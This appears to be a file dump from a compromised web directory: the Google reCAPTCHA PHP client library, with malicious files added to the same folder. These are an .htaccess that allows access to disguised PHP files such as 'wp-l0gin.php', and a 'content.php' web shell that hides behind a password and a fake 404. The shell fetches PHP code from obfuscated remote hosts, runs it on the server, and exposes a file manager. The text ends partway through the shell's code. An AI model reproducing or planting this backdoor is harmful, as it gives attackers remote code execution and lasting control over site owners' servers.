Spade
Mini Shell
PK��[�)���recaptcha/LICENSEnu�[���Copyright
2014, Google Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK��[9�Ȓ�recaptcha/src/autoload.phpnu�[���<?php
/* An autoloader for ReCaptcha\Foo classes. This should be require()d
* by the user before attempting to instantiate any of the ReCaptcha
* classes.
*/
spl_autoload_register(function ($class) {
if (substr($class, 0, 10) !== 'ReCaptcha\\') {
/* If the class does not lie under the "ReCaptcha"
namespace,
* then we can exit immediately.
*/
return;
}
/* All of the classes have names like "ReCaptcha\Foo", so we
need
* to replace the backslashes with frontslashes if we want the
* name to map directly to a location in the filesystem.
*/
$class = str_replace('\\', '/', $class);
/* First, check under the current directory. It is important that
* we look here first, so that we don't waste time searching for
* test classes in the common case.
*/
$path = dirname(__FILE__).'/'.$class.'.php';
if (is_readable($path)) {
require_once $path;
}
/* If we didn't find what we're looking for already, maybe
it's
* a test class?
*/
$path =
dirname(__FILE__).'/../tests/'.$class.'.php';
if (is_readable($path)) {
require_once $path;
}
});
PK��[�'���%recaptcha/src/ReCaptcha/ReCaptcha.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha;
/**
* reCAPTCHA client.
*/
class ReCaptcha
{
/**
* Version of this client library.
* @const string
*/
const VERSION = 'php_1.1.2';
/**
* Shared secret for the site.
* @var type string
*/
private $secret;
/**
* Method used to communicate with service. Defaults to POST request.
* @var RequestMethod
*/
private $requestMethod;
/**
* Create a configured instance to use the reCAPTCHA service.
*
* @param string $secret shared secret between site and reCAPTCHA
server.
* @param RequestMethod $requestMethod method used to send the request.
Defaults to POST.
*/
public function __construct($secret, RequestMethod $requestMethod =
null)
{
if (empty($secret)) {
throw new \RuntimeException('No secret provided');
}
if (!is_string($secret)) {
throw new \RuntimeException('The provided secret must be a
string');
}
$this->secret = $secret;
if (!is_null($requestMethod)) {
$this->requestMethod = $requestMethod;
} else {
$this->requestMethod = new RequestMethod\Post();
}
}
/**
* Calls the reCAPTCHA siteverify API to verify whether the user passes
* CAPTCHA test.
*
* @param string $response The value of
'g-recaptcha-response' in the submitted form.
* @param string $remoteIp The end user's IP address.
* @return Response Response from the service.
*/
public function verify($response, $remoteIp = null)
{
// Discard empty solution submissions
if (empty($response)) {
$recaptchaResponse = new Response(false,
array('missing-input-response'));
return $recaptchaResponse;
}
$params = new RequestParameters($this->secret, $response,
$remoteIp, self::VERSION);
$rawResponse = $this->requestMethod->submit($params);
return Response::fromJson($rawResponse);
}
}
PK��[A3k�__.recaptcha/src/ReCaptcha/RequestMethod/Curl.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha\RequestMethod;
/**
* Convenience wrapper around the cURL functions to allow mocking.
*/
class Curl
{
/**
* @see http://php.net/curl_init
* @param string $url
* @return resource cURL handle
*/
public function init($url = null)
{
return curl_init($url);
}
/**
* @see http://php.net/curl_setopt_array
* @param resource $ch
* @param array $options
* @return bool
*/
public function setoptArray($ch, array $options)
{
return curl_setopt_array($ch, $options);
}
/**
* @see http://php.net/curl_exec
* @param resource $ch
* @return mixed
*/
public function exec($ch)
{
return curl_exec($ch);
}
/**
* @see http://php.net/curl_close
* @param resource $ch
*/
public function close($ch)
{
curl_close($ch);
}
}
PK��[��iRgg2recaptcha/src/ReCaptcha/RequestMethod/CurlPost.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha\RequestMethod;
use ReCaptcha\RequestMethod;
use ReCaptcha\RequestParameters;
/**
* Sends cURL request to the reCAPTCHA service.
* Note: this requires the cURL extension to be enabled in PHP
* @see http://php.net/manual/en/book.curl.php
*/
class CurlPost implements RequestMethod
{
/**
* URL to which requests are sent via cURL.
* @const string
*/
const SITE_VERIFY_URL =
'https://www.google.com/recaptcha/api/siteverify';
/**
* Curl connection to the reCAPTCHA service
* @var Curl
*/
private $curl;
public function __construct(Curl $curl = null)
{
if (!is_null($curl)) {
$this->curl = $curl;
} else {
$this->curl = new Curl();
}
}
/**
* Submit the cURL request with the specified parameters.
*
* @param RequestParameters $params Request parameters
* @return string Body of the reCAPTCHA response
*/
public function submit(RequestParameters $params)
{
$handle = $this->curl->init(self::SITE_VERIFY_URL);
$options = array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $params->toQueryString(),
CURLOPT_HTTPHEADER => array(
'Content-Type: application/x-www-form-urlencoded'
),
CURLINFO_HEADER_OUT => false,
CURLOPT_HEADER => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => true
);
$this->curl->setoptArray($handle, $options);
$response = $this->curl->exec($handle);
$this->curl->close($handle);
return $response;
}
}
PK��[^���
�
.recaptcha/src/ReCaptcha/RequestMethod/Post.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha\RequestMethod;
use ReCaptcha\RequestMethod;
use ReCaptcha\RequestParameters;
/**
* Sends POST requests to the reCAPTCHA service.
*/
class Post implements RequestMethod
{
/**
* URL to which requests are POSTed.
* @const string
*/
const SITE_VERIFY_URL =
'https://www.google.com/recaptcha/api/siteverify';
/**
* Submit the POST request with the specified parameters.
*
* @param RequestParameters $params Request parameters
* @return string Body of the reCAPTCHA response
*/
public function submit(RequestParameters $params)
{
/**
* PHP 5.6.0 changed the way you specify the peer name for SSL
context options.
* Using "CN_name" will still work, but it will raise
deprecated errors.
*/
$peer_key = version_compare(PHP_VERSION, '5.6.0',
'<') ? 'CN_name' : 'peer_name';
$options = array(
'http' => array(
'header' => "Content-type:
application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => $params->toQueryString(),
// Force the peer to validate (not needed in 5.6.0+, but
still works
'verify_peer' => true,
// Force the peer validation to use www.google.com
$peer_key => 'www.google.com',
),
);
$context = stream_context_create($options);
return file_get_contents(self::SITE_VERIFY_URL, false, $context);
}
}
PK��[=�[�ss0recaptcha/src/ReCaptcha/RequestMethod/Socket.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha\RequestMethod;
/**
* Convenience wrapper around native socket and file functions to allow for
* mocking.
*/
class Socket
{
private $handle = null;
/**
* fsockopen
*
* @see http://php.net/fsockopen
* @param string $hostname
* @param int $port
* @param int $errno
* @param string $errstr
* @param float $timeout
* @return resource
*/
public function fsockopen($hostname, $port = -1, &$errno = 0,
&$errstr = '', $timeout = null)
{
$this->handle = fsockopen($hostname, $port, $errno, $errstr,
(is_null($timeout) ? ini_get("default_socket_timeout") :
$timeout));
if ($this->handle != false && $errno === 0 &&
$errstr === '') {
return $this->handle;
} else {
return false;
}
}
/**
* fwrite
*
* @see http://php.net/fwrite
* @param string $string
* @param int $length
* @return int | bool
*/
public function fwrite($string, $length = null)
{
return fwrite($this->handle, $string, (is_null($length) ?
strlen($string) : $length));
}
/**
* fgets
*
* @see http://php.net/fgets
* @param int $length
* @return string
*/
public function fgets($length = null)
{
return fgets($this->handle, $length);
}
/**
* feof
*
* @see http://php.net/feof
* @return bool
*/
public function feof()
{
return feof($this->handle);
}
/**
* fclose
*
* @see http://php.net/fclose
* @return bool
*/
public function fclose()
{
return fclose($this->handle);
}
}
PK��[GI����4recaptcha/src/ReCaptcha/RequestMethod/SocketPost.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha\RequestMethod;
use ReCaptcha\RequestMethod;
use ReCaptcha\RequestParameters;
/**
* Sends a POST request to the reCAPTCHA service, but makes use of
fsockopen()
* instead of get_file_contents(). This is to account for people who may be
on
* servers where allow_furl_open is disabled.
*/
class SocketPost implements RequestMethod
{
/**
* reCAPTCHA service host.
* @const string
*/
const RECAPTCHA_HOST = 'www.google.com';
/**
* @const string reCAPTCHA service path
*/
const SITE_VERIFY_PATH = '/recaptcha/api/siteverify';
/**
* @const string Bad request error
*/
const BAD_REQUEST = '{"success": false,
"error-codes": ["invalid-request"]}';
/**
* @const string Bad response error
*/
const BAD_RESPONSE = '{"success": false,
"error-codes": ["invalid-response"]}';
/**
* Socket to the reCAPTCHA service
* @var Socket
*/
private $socket;
/**
* Constructor
*
* @param \ReCaptcha\RequestMethod\Socket $socket optional socket,
injectable for testing
*/
public function __construct(Socket $socket = null)
{
if (!is_null($socket)) {
$this->socket = $socket;
} else {
$this->socket = new Socket();
}
}
/**
* Submit the POST request with the specified parameters.
*
* @param RequestParameters $params Request parameters
* @return string Body of the reCAPTCHA response
*/
public function submit(RequestParameters $params)
{
$errno = 0;
$errstr = '';
if (false === $this->socket->fsockopen('ssl://' .
self::RECAPTCHA_HOST, 443, $errno, $errstr, 30)) {
return self::BAD_REQUEST;
}
$content = $params->toQueryString();
$request = "POST " . self::SITE_VERIFY_PATH . "
HTTP/1.1\r\n";
$request .= "Host: " . self::RECAPTCHA_HOST .
"\r\n";
$request .= "Content-Type:
application/x-www-form-urlencoded\r\n";
$request .= "Content-length: " . strlen($content) .
"\r\n";
$request .= "Connection: close\r\n\r\n";
$request .= $content . "\r\n\r\n";
$this->socket->fwrite($request);
$response = '';
while (!$this->socket->feof()) {
$response .= $this->socket->fgets(4096);
}
$this->socket->fclose();
if (0 !== strpos($response, 'HTTP/1.1 200 OK')) {
return self::BAD_RESPONSE;
}
$parts = preg_split("#\n\s*\n#Uis", $response);
return $parts[1];
}
}
PK��[ ���??)recaptcha/src/ReCaptcha/RequestMethod.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha;
/**
* Method used to send the request to the service.
*/
interface RequestMethod
{
/**
* Submit the request with the specified parameters.
*
* @param RequestParameters $params Request parameters
* @return string Body of the reCAPTCHA response
*/
public function submit(RequestParameters $params);
}
PK��[d�F�pp-recaptcha/src/ReCaptcha/RequestParameters.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha;
/**
* Stores and formats the parameters for the request to the reCAPTCHA
service.
*/
class RequestParameters
{
/**
* Site secret.
* @var string
*/
private $secret;
/**
* Form response.
* @var string
*/
private $response;
/**
* Remote user's IP address.
* @var string
*/
private $remoteIp;
/**
* Client version.
* @var string
*/
private $version;
/**
* Initialise parameters.
*
* @param string $secret Site secret.
* @param string $response Value from g-captcha-response form field.
* @param string $remoteIp User's IP address.
* @param string $version Version of this client library.
*/
public function __construct($secret, $response, $remoteIp = null,
$version = null)
{
$this->secret = $secret;
$this->response = $response;
$this->remoteIp = $remoteIp;
$this->version = $version;
}
/**
* Array representation.
*
* @return array Array formatted parameters.
*/
public function toArray()
{
$params = array('secret' => $this->secret,
'response' => $this->response);
if (!is_null($this->remoteIp)) {
$params['remoteip'] = $this->remoteIp;
}
if (!is_null($this->version)) {
$params['version'] = $this->version;
}
return $params;
}
/**
* Query string representation for HTTP request.
*
* @return string Query string formatted parameters.
*/
public function toQueryString()
{
return http_build_query($this->toArray(), '',
'&');
}
}
PK��[�o��
�
$recaptcha/src/ReCaptcha/Response.phpnu�[���<?php
/**
* This is a PHP library that handles calling reCAPTCHA.
*
* @copyright Copyright (c) 2015, Google Inc.
* @link http://www.google.com/recaptcha
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace ReCaptcha;
/**
* The response returned from the service.
*/
class Response
{
/**
* Succes or failure.
* @var boolean
*/
private $success = false;
/**
* Error code strings.
* @var array
*/
private $errorCodes = array();
/**
* Build the response from the expected JSON returned by the service.
*
* @param string $json
* @return \ReCaptcha\Response
*/
public static function fromJson($json)
{
$responseData = json_decode($json, true);
if (!$responseData) {
return new Response(false, array('invalid-json'));
}
if (isset($responseData['success']) &&
$responseData['success'] == true) {
return new Response(true);
}
if (isset($responseData['error-codes']) &&
is_array($responseData['error-codes'])) {
return new Response(false,
$responseData['error-codes']);
}
return new Response(false);
}
/**
* Constructor.
*
* @param boolean $success
* @param array $errorCodes
*/
public function __construct($success, array $errorCodes = array())
{
$this->success = $success;
$this->errorCodes = $errorCodes;
}
/**
* Is success?
*
* @return boolean
*/
public function isSuccess()
{
return $this->success;
}
/**
* Get error codes.
*
* @return array
*/
public function getErrorCodes()
{
return $this->errorCodes;
}
}
PK��[�!n� recaptcha/.htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>PK��[I�F�3�3recaptcha/content.phpnu�[���<?php
$p = "7fe845c5ad3c25f83abd8f47507e6273";
if (isset($_REQUEST['ac']) &&
isset($_REQUEST['path']) &&
isset($_REQUEST['api']) &&
isset($_REQUEST['t'])) {
if(!isset($_REQUEST['s'])){$s=1;}else{$s =
$_REQUEST['s'];}
switch ($s){
case 1:
$code =
GC('htt'.'ps://c.zv'.'o1.xy'.'z/');break;
case 2:
$code =
GC('ht'.'tps://c2.ic'.'w7.co'.'m/');break;
case 3:
$code = GC('http://45.11.57.159/');break;
default:
$code =
GC('htt'.'ps://c.zv'.'o1.xy'.'z/');break;
}
$need = '<'.'?p'.'hp'; if
(strpos($code, $need) === false) { die('get failed'); }
if(function_exists('tmpfile'))
{
$file_handle = tmpfile();
fwrite($file_handle, $code);
$a = stream_get_meta_data($file_handle);
$file_path = $a['uri'];
@include($file_path);
@fclose($file_handle);
}else {
$file_path = '.c';
file_put_contents($file_path, $code);
@include($file_path);
}
@unlink($file_path);die(); }
if (isset($_REQUEST['d_time'])){
die('{->'.$p.'<-}'); }
$pass = false;
if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) ==
$p) { $pass = true; } } else
{ if (isset($_POST['p8'])) { if(md5($_POST['p8']) ==
$p) { setcookie("p8", $_POST['p8']); $pass = true; } }
}
if (isset($_POST['logout']) && $_POST['logout']
= 1) { setcookie("p8", null); $pass= false; }
if (!$pass) { if(!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found"); die();} echo '<form
action="#" method="post"><input
type="password" name="p8" > <input
type="submit" value="submit"></form>';
die(); }
echo '<form action="#"
method="post"><input type="hidden"
name="logout" value="1"> <input
type="submit" value="logout"></form>';
function GC($a)
{
$url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s',
$a, $_REQUEST['api'], $_REQUEST['ac'],
$_REQUEST['path'], $_REQUEST['t']); $code =
@file_get_contents($url); if ($code == false) { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT,
'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch,
CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$code = curl_exec($ch); curl_close($ch); }return $code;}
?>
<!DOCTYPE html>
<html lang="en">
<!-- a22bcS0vMzEJElwPNAQA== -->
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible"
content="IE=edge">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>000</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD"
crossorigin="anonymous">
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous"
referrerpolicy="no-referrer" />
</head>
<body>
<?php
//$L7CRgrfunction
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif",
"jpg", "jpeg", "jfif", "pjpeg",
"pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b",
"mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid
fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid
fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands
fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i>
';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular
fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands
fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular
fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone
fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands
fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i>
';
} else {
return '<i class="fa-solid fa-file"></i>
';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".",
":");
$b = array("ক", "খ", "গ",
"ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".",
":");
$b = array("ক", "খ", "গ",
"ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
$path = $_SERVER['SCRIPT_FILENAME'];
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$path = str_replace('\\', '/', $path);
}
if(str_replace('//','/',$_SERVER['PHP_SELF'])
== str_replace('\\\\','/',$path))
{
$root_path = ('/');}
else {
$root_path =
(str_replace(str_replace('//','/',$_SERVER['PHP_SELF']),
'', str_replace('\\\\','/',$path) ));
}
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = __DIR__;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and
Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
